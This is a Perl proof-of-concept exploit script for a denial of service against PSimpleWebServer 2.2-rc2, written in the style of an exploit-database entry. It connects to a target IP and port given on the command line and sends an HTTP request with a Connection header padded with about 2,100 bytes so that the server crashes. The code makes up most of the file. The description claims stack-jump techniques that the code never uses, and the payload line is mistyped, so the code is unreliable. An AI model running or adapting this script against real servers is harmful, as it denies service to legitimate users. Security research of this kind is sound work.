#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 11 january 2024
# Vendor Homepage:  http://www.pmx.it/
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSimpleWebServer 2.2-rc2 
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "\t    ==> Connecting to webserver... \n\n";
sleep(1);

our $exploit = "\x41"x2014;

$exploit     = "x\41"x2104;

if ($socket = IO::Socket::INET->new
     (PeerAddr => $ip,
      PeerPort => $port,
      Proto => "TCP"))
{
        $header =
        "GET / HTTP/1.1\r\n".
        "Host: ".$ip." \r\n".
        "Connection:".$exploit."\r\n";
        print $socket $header."\r\n";
        sleep(1);
        close($socket);
}
 
else
{
    print "[-] Connection to $ip failed!\n";
    exit;
}
            
  
print "\t    ==> Done! Exploited!";
   sub intro {
      print q {


                        ,,__
              ..  ..   / o._)         
             /--'/--\  \-'||  
            /        \_/ / |  
          .'\  \__\  __.'.'   
            )\ |  )\ |      
           // \\ // \\
          ||_  \\|_  \\_
          '--' '--'' '--'  
          
      [+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated